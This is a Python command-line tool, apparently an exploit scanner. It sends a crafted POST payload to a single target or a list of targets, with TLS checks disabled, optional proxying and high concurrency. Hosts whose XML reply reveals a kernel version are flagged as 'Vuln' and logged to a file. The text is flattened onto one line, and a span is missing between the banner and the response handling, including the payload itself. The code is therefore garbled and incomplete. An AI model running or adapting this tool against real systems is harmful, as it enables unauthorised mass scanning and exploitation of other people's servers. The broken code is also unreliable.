import asyncio import argparse import aiofiles from alive_progress import alive_bar from fake_useragent import UserAgent from colorama import Fore, Style import ssl import httpx import random import os import re import json import xml.etree.ElementTree as ET import anyio green = Fore.GREEN magenta = Fore.MAGENTA cyan = Fore.CYAN mixed = Fore.RED + Fore.BLUE red = Fore.RED blue = Fore.BLUE yellow = Fore.YELLOW white = Fore.WHITE reset = Style.RESET_ALL bold = Style.BRIGHT colors = [ green, cyan, blue] random_color = random.choice(colors) def banner(): banner = f"""{bold}{random_color} ______ ____ __ _ ______ / ____/ __/ __ \/ / ____ (_)_ __/__ _____ / __/ | |/_/ /_/ / / / __ \/ / / / / _ \/ ___/ / /____> ' response = await session.request("POST", base_url,data=payload , headers=headers, timeout=30, follow_redirects=True) if response.status_code != 200: return responsed = await response.aread() responsed = responsed.decode('utf-8') if "" in responsed: root = ET.fromstring(responsed) kernal = root.find("kenerlVersion").text print(f"[{bold}{green}Vuln{reset}]: {bold}{white}{url} - Kernal Version: {kernal}{reset}") await save(f"{url} - Kernal Version: {kernal}") except (httpx.ConnectError, httpx.RequestError, httpx.TimeoutException) as e: return except ssl.SSLError as e: pass except httpx.InvalidURL: pass except KeyboardInterrupt : SystemExit except asyncio.CancelledError: SystemExit except anyio.EndOfStream: pass except Exception as e: if args.verbose: print(f"Exception in request: {e}, {type(e)}") finally: sem.release() bar() async def loader(urls, session, sem, bar): try: tasks = [] for url in urls: await sem.acquire() task = asyncio.ensure_future(exploit(session, url, sem, bar)) tasks.append(task) await asyncio.gather(*tasks, return_exceptions=True) except KeyboardInterrupt as e: SystemExit except asyncio.CancelledError as e: SystemExit except Exception as e: print(f"Exception in loader: {e}, {type(e)}") async def threads(urls): try: urls = list(set(urls)) sem = asyncio.BoundedSemaphore(args.threads) proxy = args.proxy if args.proxy else None async with httpx.AsyncClient(verify=False, proxy=proxy) as session: with alive_bar(title=f"{bold}{white}Exploiter{reset}", total=len(urls), enrich_print=False) as bar: await loader(urls, session, sem, bar) except RuntimeError as e: pass except KeyboardInterrupt as e: SystemExit except Exception as e: if args.verbose: print(f"Exception in threads: {e}, {type(e)}") async def main(): try: urls = [] if args.url: if args.url.startswith("https://") or args.url.startswith("http://"): urls.append(args.url) else: new_url = f"https://{args.url}" urls.append(new_url) new_http = f"http://{args.url}" urls.append(new_http) await threads(urls) if args.list: async with aiofiles.open(args.list, "r") as streamr: async for url in streamr: url = url.strip() if url.startswith("https://") or url.startswith("http://"): urls.append(url) else: new_url = f"https://{url}" urls.append(new_url) new_http = f"http://{url}" urls.append(new_http) await threads(urls) except FileNotFoundError as e: print(f"[{bold}{red}WRN{reset}]: {bold}{white}{args.list} no such file or directory{reset}") SystemExit except Exception as e: print(f"Exception in main: {e}, {type(e)}") if __name__ == "__main__": asyncio.run(main())